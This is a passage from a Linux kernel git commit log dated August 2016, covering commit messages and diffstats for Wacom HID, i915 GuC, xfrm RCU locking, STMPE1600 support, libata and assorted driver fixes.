heuristics to use in determining if two devices should be considered siblings or not. While it works well enough for explicitly supported devices, it offers no help for HID_GENERIC devices. Now that we have a bit more information (e.g. direct/indirect) available to us though, we should make use of it it to improve the pairing of such devices. Signed-off-by: Jason Gerecke Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 83 ++++++++++++++++++++++++++++++++++++++++++------- drivers/hid/wacom_wac.c | 2 +- 2 files changed, 72 insertions(+), 13 deletions(-) commit e5bc8eb1b02244be4e97e9654d394275e615923a Author: Jason Gerecke Date: Mon Aug 8 12:06:29 2016 -0700 HID: wacom: Add WACOM_DEVICETYPE_DIRECT for Cintiqs and similar "Direct" input devices like Cintiqs and Tablet PCs set the INPUT_PROP_DIRECT property to notify userspace that the sensor and screen are overlaid. This information can also be useful elsewhere within the kernel driver, however, so we introduce a new WACOM_DEVICETYPE_DIRECT that signals this to other kernel code. Signed-off-by: Jason Gerecke Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 58 +++++++++++++++++++++++++++++++++---------------- drivers/hid/wacom_wac.h | 1 + 2 files changed, 40 insertions(+), 19 deletions(-) commit 192c859df93bcd328b3d06e0a9939e2fd8d1b8c4 Author: Chanwoo Choi Date: Fri Jul 15 10:33:46 2016 +0900 ARM: exynos_defconfig: Enable bus frequency scaling with devfreq This patch enables the bus frequency scaling driver with devfreq and devfreq-event framework. Devfreq is already supported on Odroid U3/XU3, Trats2 and Rinato/Monk boards. Signed-off-by: Chanwoo Choi Reviewed-by: Javier Martinez Canillas Reviewed-by: Krzysztof Kozlowski [k.kozlowski: Don't enable symbols already selected, adjust commit msg] Signed-off-by: Krzysztof Kozlowski arch/arm/configs/exynos_defconfig | 6 ++++++ 1 file changed, 6 insertions(+) commit 774439e12b53daff3c97d71669a233d6e5290e79 Author: Dave Gordon Date: Tue Aug 9 15:19:23 2016 +0100 drm/i915/guc: re-optimise i915_guc_client layout As we're tweaking the GuC-related code in debugfs, we can drop the no-longer-used 'q_fail' and repack the structure. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_debugfs.c | 1 - drivers/gpu/drm/i915/intel_guc.h | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) commit c18468c4b2dbf08854dba4f041c8c1845bf0cc9c Author: Dave Gordon Date: Tue Aug 9 15:19:22 2016 +0100 drm/i915/guc: use for_each_engine_id() where appropriate Now that host structures are indexed by host engine-id rather than guc_id, we can usefully convert some for_each_engine() loops to use for_each_engine_id() and avoid multiple dereferences of engine->id. Also a few related tweaks to cache structure members locally wherever they're used more than once or twice, hopefully eliminating memory references. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_debugfs.c | 18 ++++++++++-------- drivers/gpu/drm/i915/i915_guc_submission.c | 13 +++++++------ 2 files changed, 17 insertions(+), 14 deletions(-) commit e02757d91f7481093742bb32385567499a59354c Author: Dave Gordon Date: Tue Aug 9 15:19:21 2016 +0100 drm/i915/guc: add engine mask to GuC client & pass to GuC The Context Descriptor passed by the kernel to the GuC contains a field specifying which engine(s) the context will use. Historically, this was always set to "all of them", but if we had a separate client for each engine, we could be more precise, and set only the bit for the engine that the client was associated with. So this patch enables this usage, in preparation for having multiple clients, though at this point there is still only a single client used for all supported engines. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_guc_submission.c | 15 ++++++++++----- drivers/gpu/drm/i915/intel_guc.h | 3 ++- 2 files changed, 12 insertions(+), 6 deletions(-) commit 84b7f88235dfe56048c39229481a010e9754eb6f Author: Dave Gordon Date: Tue Aug 9 15:19:20 2016 +0100 drm/i915/guc: refactor guc_init_doorbell_hw() We have essentially the same code in each of two different loops, so we can refactor it into a little helper function. This also reduces the amount of work done during startup, as we now only reprogram h/w found to be in a state other than that expected, and so avoid the overhead of setting doorbell registers to the state they're already in. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_guc_submission.c | 54 +++++++++++++++++------------- 1 file changed, 30 insertions(+), 24 deletions(-) commit 8888cd015458811d568a152238b0614c586df751 Author: Dave Gordon Date: Tue Aug 9 15:19:19 2016 +0100 drm/i915/guc: doorbell reset should avoid used doorbells guc_init_doorbell_hw() borrows the (currently single) GuC client to use in reinitialising ALL the doorbell registers (as the hardware doesn't reset them when the GuC is reset). As a prerequisite for accommodating multiple clients, it should only reset doorbells that are supposed to be disabled, avoiding those that are marked as in use by any client. Signed-off-by: Dave Gordon Reviewed-by: Tvrtko Ursulin Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_guc_submission.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit dbd6ef29a74e6db22e037fc3d481c1dbca596f80 Author: Chris Wilson Date: Tue Aug 9 17:47:52 2016 +0100 drm/i915: Use RCU to annotate and enforce protection for breadcrumb's bh The bottom-half we use for processing the breadcrumb interrupt is a task, which is an RCU protected struct. When accessing this struct, we need to be holding the RCU read lock to prevent it disappearing beneath us. We can use the RCU annotation to mark our irq_seqno_bh pointer as being under RCU guard and then use the RCU accessors to both provide correct ordering of access through the pointer. Most notably, this fixes the access from hard irq context to use the RCU read lock, which both Daniel and Tvrtko complained about. Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Tvrtko Ursulin Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470761272-1245-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/intel_breadcrumbs.c | 22 +++++++++------------- drivers/gpu/drm/i915/intel_ringbuffer.c | 2 -- drivers/gpu/drm/i915/intel_ringbuffer.h | 25 ++++++++++++++++--------- 4 files changed, 27 insertions(+), 26 deletions(-) commit 83348ba84ee0d5d4d982e5382bfbc8b2a2d05e75 Author: Chris Wilson Date: Tue Aug 9 17:47:51 2016 +0100 drm/i915: Move missed interrupt detection from hangcheck to breadcrumbs In commit 2529d57050af ("drm/i915: Drop racy markup of missed-irqs from idle-worker") the racy detection of missed interrupts was removed when we went idle. This however opened up the issue that the stuck waiters were not being reported, causing a test case failure. If we move the stuck waiter detection out of hangcheck and into the breadcrumb mechanims (i.e. the waiter) itself, we can avoid this issue entirely. This leaves hangcheck looking for a stuck GPU (inspecting for request advancement and HEAD motion), and breadcrumbs looking for a stuck waiter - hopefully make both easier to understand by their segregation. v2: Reduce the error message as we now run independently of hangcheck, and the hanging batch used by igt also counts as a stuck waiter causing extra warnings in dmesg. v3: Move the breadcrumb's hangcheck kickstart to the first missed wait. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=97104 Fixes: 2529d57050af (waiter"drm/i915: Drop racy markup of missed-irqs...") Testcase: igt/drv_missed_irq Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Tvrtko Ursulin Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1470761272-1245-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 11 ++--- drivers/gpu/drm/i915/i915_gem.c | 10 ----- drivers/gpu/drm/i915/i915_irq.c | 26 +----------- drivers/gpu/drm/i915/intel_breadcrumbs.c | 69 ++++++++++++++++++++++---------- drivers/gpu/drm/i915/intel_engine_cs.c | 1 + drivers/gpu/drm/i915/intel_ringbuffer.h | 6 +-- 6 files changed, 56 insertions(+), 67 deletions(-) commit 70cb472c6d7a3575a9b3fc7e0188384b7ca3d705 Author: Chris Wilson Date: Tue Aug 9 18:08:25 2016 +0100 drm/i915: Always mark the writer as also a read for busy ioctl One of the few guarantees we want the busy ioctl to provide is that the reported busy writer is included in the set of busy read engines. This should be provided by the ordering of setting and retiring the active trackers, but we can do better by explicitly setting the busy read engine flag for the last writer. v2: More comments inside __busy_write_id() to explain why both fields are set. Fixes: 3fdc13c7a3cb ("drm/i915: Remove (struct_mutex) locking for busy-ioctl") Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470762505-12799-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/i915_gem.c | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) commit d737a5805581c6f99dad4caa9fdf80965d617d1a Author: Florian Westphal Date: Tue Aug 9 12:16:09 2016 +0200 xfrm: state: don't use lock anymore unless acquire operation is needed push the lock down, after earlier patches we can rely on rcu to make sure state struct won't go away. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert include/net/netns/xfrm.h | 6 +++--- net/xfrm/xfrm_state.c | 6 ++++-- 2 files changed, 7 insertions(+), 5 deletions(-) commit c8406998b80183ef87895ab1de4dbed8bb2d53a0 Author: Florian Westphal Date: Tue Aug 9 12:16:08 2016 +0200 xfrm: state: use rcu_deref and assign_pointer helpers Before xfrm_state_find() can use rcu_read_lock instead of xfrm_state_lock we need to switch users of the hash table to assign/obtain the pointers with the appropriate rcu helpers. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit b65e3d7be06fd8ff5236439254f338fe1a8d4bbd Author: Florian Westphal Date: Tue Aug 9 12:16:07 2016 +0200 xfrm: state: add sequence count to detect hash resizes Once xfrm_state_find is lockless we have to cope with a concurrent resize opertion. We use a sequence counter to block in case a resize is in progress and to detect if we might have missed a state that got moved to a new hash table. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit df7274eb70b7c8488170ebe8757dd94647a8e1e5 Author: Florian Westphal Date: Tue Aug 9 12:16:06 2016 +0200 xfrm: state: delay freeing until rcu grace period has elapsed The hash table backend memory and the state structs are free'd via kfree/vfree. Once we only rely on rcu during lookups we have to make sure no other cpu is currently accessing this before doing the free. Free operations already happen from worker so we can use synchronize_rcu to wait until concurrent readers are done. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 5 +++++ 1 file changed, 5 insertions(+) commit 02efdff7e209859c2755ebe93b3bd0e3d40123ab Author: Florian Westphal Date: Tue Aug 9 12:16:05 2016 +0200 xfrm: state: use atomic_inc_not_zero to increment refcount Once xfrm_state_lookup_byaddr no longer acquires the state lock another cpu might be freeing the state entry at the same time. To detect this we use atomic_inc_not_zero, we then signal -EAGAIN to caller in case our result was stale. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) commit ae3fb6d32140e5c5b491892105ca89066171d217 Author: Florian Westphal Date: Tue Aug 9 12:16:04 2016 +0200 xfrm: state: use hlist_for_each_entry_rcu helper This is required once we allow lockless access of bydst/bysrc hash tables. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert net/xfrm/xfrm_state.c | 38 +++++++++++++++++++------------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit 2d0ab9c36f6c7275b7fa93aa6fccaa8c9e70c95c Author: Sylwester Nawrocki Date: Thu Aug 4 12:08:11 2016 +0200 ARM: S3C24XX: Add missing DMA device for Mini2440 board Addition of s3c2440_device_dma was missed during conversion from the Samsung legacy to the regular DMA API. Add it so any devices using DMA, e.g I2S controller can work properly. Signed-off-by: Sylwester Nawrocki Signed-off-by: Krzysztof Kozlowski arch/arm/mach-s3c24xx/mach-mini2440.c | 1 + 1 file changed, 1 insertion(+) commit 971466bff47483e70e38a3f0ae0d55e86e9fdeee Author: Sylwester Nawrocki Date: Thu Aug 4 11:56:12 2016 +0200 ARM: S3C24XX: Add dma_mask assignments for DMA devices The dma_mask assignments seem to be missed during refactoring of arch/arm/mach-s3c24xx. Add them to avoid DMA allocation failures. Without this patch sound is broken on s3c24xx with errors reported like: s3c24xx-dma s3c2410-dma.0: coherent DMA mask is unset ALSA pcmC0D0p,0:: cannot preallocate for size 524288 s3c24xx-iis s3c24xx-iis: Failed to get DMA channel capabilities, falling back to period counting: -6 s3c24xx-dma s3c2410-dma.0: coherent DMA mask is unset ... ALSA pcmC0D0c,0:: cannot preallocate for size 524288 s3c24xx-iis s3c24xx-iis: Failed to get DMA channel capabilities, falling back to period counting: -6 Signed-off-by: Sylwester Nawrocki Signed-off-by: Krzysztof Kozlowski arch/arm/mach-s3c24xx/common.c | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) commit e45a8a9e60ff1dd5ad118c794337a1101b46ab0d Author: Julia Lawall Date: Tue Aug 9 18:27:08 2016 +0200 xfrm: constify xfrm_replay structures The xfrm_replay structures are never modified, so declare them as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Steffen Klassert include/net/xfrm.h | 2 +- net/xfrm/xfrm_replay.c | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) commit 36d1c9cd07cd6a065f1dde3cbbfe3a9867d693a4 Author: Krzysztof Kozlowski Date: Fri May 13 15:44:26 2016 +0200 arm64: dts: exynos: Use human-friendly symbols for timer interrupt flags Replace hex flags with human-readable symbols from arm-gic.h header which makes it easier to recognize what is configured. Signed-off-by: Krzysztof Kozlowski arch/arm64/boot/dts/exynos/exynos7.dtsi | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit c6a05a0563efd6cddafe4e8c857cf87d1311e83b Author: Patrice Chotard Date: Wed Aug 10 09:39:15 2016 +0200 gpio: stmpe: Add STMPE1600 support The particularities of this variant are: - GPIO_XXX_LSB and GPIO_XXX_MSB memory locations are inverted compared to other variants. - There is no Edge detection, Rising Edge and Falling Edge registers. - IRQ flags are cleared when read, no need to write in Status register. Signed-off-by: Amelie DELAUNAY Signed-off-by: Patrice Chotard Reviewed-by: Linus Walleij Signed-off-by: Lee Jones drivers/gpio/gpio-stmpe.c | 48 +++++++++++++++++++++++++++++++++++++---------- 1 file changed, 38 insertions(+), 10 deletions(-) commit 6bb9f0d93399cbde14fc6a1532341a14a85d2df4 Author: Patrice Chotard Date: Wed Aug 10 09:39:14 2016 +0200 mfd: Add STMPE1600 support STMPE1600 is a 16-bit port expander. Datasheet is available here : http://www2.st.com/content/st_com/en/products/interfaces-and-transceivers/ i-o-expanders-and-level-translators/i-o-expanders/stmpe1600.html Signed-off-by: Amelie DELAUNAY Signed-off-by: Patrice Chotard Acked-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/stmpe-i2c.c | 2 ++ drivers/mfd/stmpe.c | 65 +++++++++++++++++++++++++++++++++++++++++++---- drivers/mfd/stmpe.h | 21 +++++++++++++++ include/linux/mfd/stmpe.h | 1 + 4 files changed, 84 insertions(+), 5 deletions(-) commit bd495916f2f0a05193c45b26e21b60c9ffaa8aae Author: Patrice Chotard Date: Wed Aug 10 09:39:13 2016 +0200 Documentation: dt: Add stmpe1600 compatible string to STMPE MFD This patch adds a new compatible string for stmpe mfd to support stmpe1600 variant. Signed-off-by: Amelie DELAUNAY Acked-by: Linus Walleij Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/stmpe.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 43db289d00c66a2d21da50001510725f598bb6e7 Author: Patrice Chotard Date: Wed Aug 10 09:39:12 2016 +0200 gpio: stmpe: Rework registers access This update allows to use registers map as following : regs[reg_index + offset] instead of regs[reg_index] + offset This makes code clearer and will facilitate the addition of STMPE1600 on which LSB and MSB registers are respectively located at addr and addr + 1. Despite for all others STMPE variant, LSB and MSB registers are respectively located in reverse order at addr + 1 and addr. For variant which have 3 registers's bank, we use LSB,CSB and MSB indexes which contains respectively LSB (or LOW), CSB (or MID) and MSB (or HIGH) register addresses (STMPE1801/STMPE24xx). For variant which have 2 registers's bank, we use LSB and CSB indexes only. In this case the CSB index contains the MSB regs address (STMPE 1601). Signed-off-by: Patrice Chotard Reviewed-by: Linus Walleij Signed-off-by: Lee Jones drivers/gpio/gpio-stmpe.c | 48 ++++++++++++++++++++++++++--------------------- 1 file changed, 27 insertions(+), 21 deletions(-) commit 897ac6674c64ca94df5b70ea5c6815a296e1d32a Author: Patrice Chotard Date: Wed Aug 10 09:39:11 2016 +0200 mfd: stmpe: Rework registers access this update allows to use registers map as following : regs[reg_index + offset] instead of regs[reg_index] + offset This makes code clearer and will facilitate the addition of STMPE1600 on which LSB and MSB registers are respectively located at addr and addr + 1. Despite for all others STMPE variant, LSB and MSB registers are respectively located in reverse order at addr + 1 and addr. For variant which have 3 registers's bank, we use LSB,CSB and MSB indexes which contains respectively LSB (or LOW), CSB (or MID) and MSB (or HIGH) register addresses (STMPE1801/STMPE24xx). For variant which have 2 registers's bank, we use LSB and CSB indexes only. In this case the CSB index contains the MSB regs address (STMPE 1601). Signed-off-by: Patrice Chotard Reviewed-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/stmpe.c | 48 ++++++++++++++++++++++++++++++++++++++++++---- drivers/mfd/stmpe.h | 49 +++++++++++++++++++++++++++++++++++++++++------ include/linux/mfd/stmpe.h | 18 +++++++++++++++++ 3 files changed, 105 insertions(+), 10 deletions(-) commit c16bee7897bffc3814390c9279bf01137a6bd595 Author: Patrice Chotard Date: Wed Aug 10 09:39:10 2016 +0200 mfd: stmpe: Use generic bit mask name In order to prepare the ground to STMPE1600, as STMPE1600's SYS_CTRL register has the same layout as STMPE801 variant, unify STMPExxx_REG_SYS_CTRL_RESET/INT_EN/INT_HI bit masks to more generic STMPE_SYS_CTRL_RESET/INT_EN/INT_HI Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones drivers/mfd/stmpe.c | 4 ++-- drivers/mfd/stmpe.h | 6 ++---- 2 files changed, 4 insertions(+), 6 deletions(-) commit 6936e1f88d233444ac8010d9b6bfaac3ba698ee2 Author: Patrice Chotard Date: Wed Aug 10 09:39:09 2016 +0200 gpio: stmpe: Write int status register only when needed On STMPE801/1801 datasheets, it's mentionned writing in interrupt status register has no effect, bits are cleared when reading. Signed-off-by: Amelie DELAUNAY Signed-off-by: Patrice Chotard Reviewed-by: Linus Walleij Signed-off-by: Lee Jones drivers/gpio/gpio-stmpe.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 287849cb3814a5077c79a2489bef055c9f5e656c Author: Patrice Chotard Date: Wed Aug 10 09:39:08 2016 +0200 gpio: stmpe: Fix edge and rising/falling edge detection By cross-checking STMPE 610/801/811/1601/2401/2403 datasheets, it appears that edge detection and rising/falling edge detection is not supported by all STMPE variant: GPIO GPIO Edge detection rising/falling edge detection 610 | X | X | 801 | | | 811 | X | X | 1600 | | | 1601 | X | X | 1801 | | X | 2401 | X | X | 2403 | X | X | Rework stmpe_dbg_show_one() and stmpe_gpio_irq to correctly take these cases into account. Signed-off-by: Patrice Chotard Reviewed-by: Linus Walleij Signed-off-by: Lee Jones drivers/gpio/gpio-stmpe.c | 85 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 60 insertions(+), 25 deletions(-) commit c4dd1ba355aae2bc3d1213da6c66c53e3c31e028 Author: Patrice Chotard Date: Wed Aug 10 09:39:07 2016 +0200 mfd: stmpe: Add reset support for all STMPE variant Reset was only implemented for STMPE1801 variant despite all variant have a SOFT_RESET bit. For STMPE2401/2403/801/1601/1801 SOFT_RESET bit is bit 7 of SYS_CTRL register. For STMPE610/811 (which have the same variant id) SOFT_RESET bit is bit 1 of SYS_CTRL register. Signed-off-by: Patrice Chotard Acked-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/stmpe.c | 23 +++++++++++++++-------- drivers/mfd/stmpe.h | 7 +++++-- 2 files changed, 20 insertions(+), 10 deletions(-) commit 0f4be8cf637ea4637faba8a0e4bf2270287c6ba0 Author: Patrice Chotard Date: Wed Aug 10 09:39:06 2016 +0200 mfd: stmpe: Add STMPE_IDX_SYS_CTRL/2 enum As STMPE1801/1601/24xx has a SYS_CTRL register and STMPE1601/2403 has even a SYS_CTRL2 register, add STMPE_IDX_SYS_CTRL/2 and update driver code accordingly This update prepares the ground for not yet supported STMPE1600 which share similar REG_SYS_CTRL register. Signed-off-by: Patrice Chotard Acked-by: Linus Walleij Signed-off-by: Lee Jones drivers/mfd/stmpe.c | 21 ++++++++++++++------- drivers/mfd/stmpe.h | 2 ++ include/linux/mfd/stmpe.h | 2 ++ 3 files changed, 18 insertions(+), 7 deletions(-) commit c1da59dad0ebd3f9bd238f3fff82b1f7ffda7829 Author: Robert Foss Date: Tue Aug 9 10:54:52 2016 -0400 cdc-wdm: Clear read pipeline in case of error Implemented queued response handling. This queue is processed every time the WDM_READ flag is cleared. In case of a read error, userspace may not actually read the data, since the driver returns an error through wdm_poll. After this, the underlying device may attempt to send us more data, but the queue is not processed. While userspace is also blocked, because the read error is never cleared. After this patch, we proactively process the queue on a read error. If there was an outstanding response to handle, that will clear the error (or go through the same logic again, if another read error occurs). If there was no outstanding response, this will bring the queue size back to 0, unblocking a future response from the underlying device. Signed-off-by: Robert Foss Tested-by: Robert Foss Acked-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-wdm.c | 39 +++++++++++++++++++++++++++++---------- 1 file changed, 29 insertions(+), 10 deletions(-) commit 16af080e47785d14919bf94bf8a4097c5c8529fb Author: Tang Yuantian Date: Tue Aug 9 09:51:22 2016 +0800 ahci: qoriq: enable snoopable sata read and write By default the SATA IP on the qoriq SoCs does not generating coherent/snoopable transactions. This patch enable it in the sata axicc register. In addition, the dma-coherent property must be set on the SATA controller nodes. Signed-off-by: Tang Yuantian Signed-off-by: Tejun Heo arch/arm64/boot/dts/freescale/fsl-ls1043a.dtsi | 3 ++- arch/arm64/boot/dts/freescale/fsl-ls2080a.dtsi | 2 ++ drivers/ata/ahci_qoriq.c | 6 ++++++ 3 files changed, 10 insertions(+), 1 deletion(-) commit 107a077d19341b4d47ae06f0bd24883b94e64628 Author: Tang Yuantian Date: Tue Aug 9 09:51:21 2016 +0800 ahci: qoriq: adjust sata parameter The default values for Port Phy2Cfg register and Port Phy3Cfg register are better, no need to overwrite them. Signed-off-by: Tang Yuantian Signed-off-by: Tejun Heo drivers/ata/ahci_qoriq.c | 6 ------ 1 file changed, 6 deletions(-) commit 535fd072202dbc8afe5a4093178132bdd4ac2424 Author: Tom Yan Date: Fri Jul 22 02:41:54 2016 +0800 libata-scsi: fix MODE SELECT translation for Control mode page scsi_done() was called repeatedly and apparently because of that, the kernel would call trace when we touch the Control mode page: Call Trace: [] dump_stack+0x63/0x81 [] __warn+0xcb/0xf0 [] warn_slowpath_null+0x1d/0x20 [] ata_eh_finish+0xe0/0xf0 [libata] [] sata_pmp_error_handler+0x640/0xa50 [libata] [] ahci_error_handler+0x1d/0x70 [libahci] [] ata_scsi_port_error_handler+0x430/0x770 [libata] [] ? ata_scsi_cmd_error_handler+0xdd/0x160 [libata] [] ata_scsi_error+0xa7/0xf0 [libata] [] scsi_error_handler+0xaa/0x560 [scsi_mod] [] ? scsi_eh_get_sense+0x180/0x180 [scsi_mod] [] kthread+0xd8/0xf0 [] ret_from_fork+0x1f/0x40 [] ? kthread_worker_fn+0x170/0x170 ---[ end trace 8b7501047e928a17 ]--- Removed the unnecessary code and let ata_scsi_translate() do the job. Also, since ata_mselect_control() has no ATA command to send to the device, ata_scsi_mode_select_xlat() should return 1 for it, so that ata_scsi_translate() will finish early to avoid ata_qc_issue(). Signed-off-by: Tom Yan Signed-off-by: Tejun Heo drivers/ata/libata-scsi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0184165b2f42c4b032da9dd11546bfbaeb5afd4e Author: Niklas Söderlund Date: Wed Aug 3 15:56:47 2016 +0200 ravb: add sleep PM suspend/resume support The interface would not function after the system had been woken up after have been suspended (echo mem > /sys/power/state) cycle. The reason for this is that all device registers have been reset to its default values. This patch adds sleep suspend and resume functions that detached the interface at suspend and restore the registers and reattach the interface at resume. Only the registers that are only configured at probe time needs to be explicitly restored by the resume handler. All other registers are reconfigured by either reopening the device in the resume handler (if the device was running when the system was suspended) or when the interface is opened by a user at a later time. Signed-off-by: Niklas Söderlund Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 72 ++++++++++++++++++++++++++++---- 1 file changed, 64 insertions(+), 8 deletions(-) commit 0dff88d39fd0b17a5e3ff03d0264b823cab1352c Author: Julia Lawall Date: Tue Aug 9 19:09:45 2016 +0200 net: dsa: b53: constify b53_io_ops structures The b53_io_ops structures are never modified, so declare them as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_common.c | 3 ++- drivers/net/dsa/b53/b53_mdio.c | 2 +- drivers/net/dsa/b53/b53_mmap.c | 2 +- drivers/net/dsa/b53/b53_priv.h | 3 ++- drivers/net/dsa/b53/b53_spi.c | 2 +- drivers/net/dsa/b53/b53_srab.c | 2 +- 6 files changed, 8 insertions(+), 6 deletions(-) commit 631fee7d70e8eabb642b4bcc58f08bbe880c91aa Author: David Ahern Date: Tue Aug 9 06:51:06 2016 -0700 net: Remove fib_local variable After commit 0ddcf43d5d4a ("ipv4: FIB Local/MAIN table collapse") fib_local is set but not used. Remove it. Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/netns/ipv4.h | 1 - net/ipv4/fib_frontend.c | 7 ------- 2 files changed, 8 deletions(-) commit bb8082f6913889418b69a54e57b4a39d7128a700 Author: Guillaume Nault Date: Tue Aug 9 15:12:26 2016 +0200 ppp: build ifname using unit identifier for rtnl based devices Userspace programs generally need to know the name of the ppp devices they create. Both ioctl and rtnl interfaces use the ppp sheme to name them. But although the suffix used by the ioctl interface can be known by userspace (it's the PPP unit identifier returned by the PPPIOCGUNIT ioctl), the one used by the rtnl is only known by the kernel. This patch brings more consistency between ioctl and rtnl based ppp devices by generating device names using the PPP unit identifer as suffix in both cases. This way, userspace can always infer the name of the devices they create. Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller drivers/net/ppp/ppp_generic.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit f2ee3b759593c184f1249e03d613a84b4b69db2b Author: Martin Brandenburg Date: Tue Aug 9 15:59:26 2016 -0400 orangefs: record userspace version for feature compatbility The client reports its version to the kernel on startup. We already test that it is above the minimum version. Now we record it in a global variable so code elsewhere can consult it before making a request the client may not understand. Signed-off-by: Martin Brandenburg fs/orangefs/devorangefs-req.c | 10 ++++++++++ fs/orangefs/orangefs-kernel.h | 2 ++ 2 files changed, 12 insertions(+) commit aac440ff22a27155ae08f4d0fd6ac2971bfc5f3d Author: Dave Gordon Date: Tue Aug 9 18:35:10 2016 +0100 drm: avoid "possible bad bitmask?" warning Recent versions of gcc say this: include/drm/i915_drm.h:96:34: warning: result of ‘65535 << 20’ requires 37 bits to represent, but ‘int’ only has 32 bits [-Wshift-overflow=] Reported-by: David Binderman Signed-off-by: Dave Gordon Cc: Dave Airlie Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470764110-23855-1-git-send-email-david.s.gordon@intel.com include/drm/i915_drm.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d7372cb6290eedadcf2d191b033388df3c0c39f2 Author: Tom Yan Date: Sat Jul 23 02:34:08 2016 +0800 libata-scsi: use u8 array to store mode page copy ata_mselect_*() would initialize a char array for storing a copy of the current mode page. However, char could be signed char. In that case, bytes larger than 127 would be converted to negative number. For example, 0xff from def_control_mpage[] would become -1. This prevented ata_mselect_control() from working at all, since when it did the read-only bits check, there would always be a mismatch. Signed-off-by: Tom Yan Signed-off-by: Tejun Heo drivers/ata/libata-scsi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ad618c9983be3136e9e7209ffd7c4102720d0739 Author: Lukas Wunner Date: Tue Aug 9 11:53:11 2016 +0200 PCI: Drop CONFIG_KEXEC_CORE ifdeffery Drop the CONFIG_KEXEC_CORE #ifdef around reference to "kexec_in_progress". Commit 2b94ed245861 ("kexec: define kexec_in_progress in !CONFIG_KEXEC case") has made this unnecessary. Signed-off-by: Lukas Wunner Signed-off-by: Bjorn Helgaas drivers/pci/pci-driver.c | 2 -- 1 file changed, 2 deletions(-) commit 9622c38f1cbab00aa2f52715ec950c5c5f838aa5 Author: Lyude Date: Fri Aug 5 20:30:39 2016 -0400 drm/dp_helper: Rate limit timeout errors from drm_dp_i2c_do_msg() Timeouts can be errors, but timeouts are also usually normal behavior and happen a lot. Since the kernel already lets us know when we're suppressing messages due to rate limiting, rate limit timeout errors so we don't make too much noise in the kernel log. Signed-off-by: Lyude Reviewed-by: Christian König Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470443443-27252-8-git-send-email-cpaul@redhat.com drivers/gpu/drm/drm_dp_helper.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 29f21e0491819d05d28b4a1f7a5b7e68f802c60b Author: Lyude Date: Fri Aug 5 20:30:33 2016 -0400 drm/dp_helper: Print first error received on failure in drm_dp_dpcd_access() Since we always retry in drm_dp_dpcd_access() regardless of the error, we're going to make a lot of noise if the aux->transfer function prints it's own errors (as is the case with radeon). If we can print the error code here, this reduces the need for drivers to do this. So instead of having to print "dp_aux_ch timed out" over 32 times we can just print once. Signed-off-by: Lyude Reviewed-by: Christian König Signed-off-by: Daniel Vetter Link: 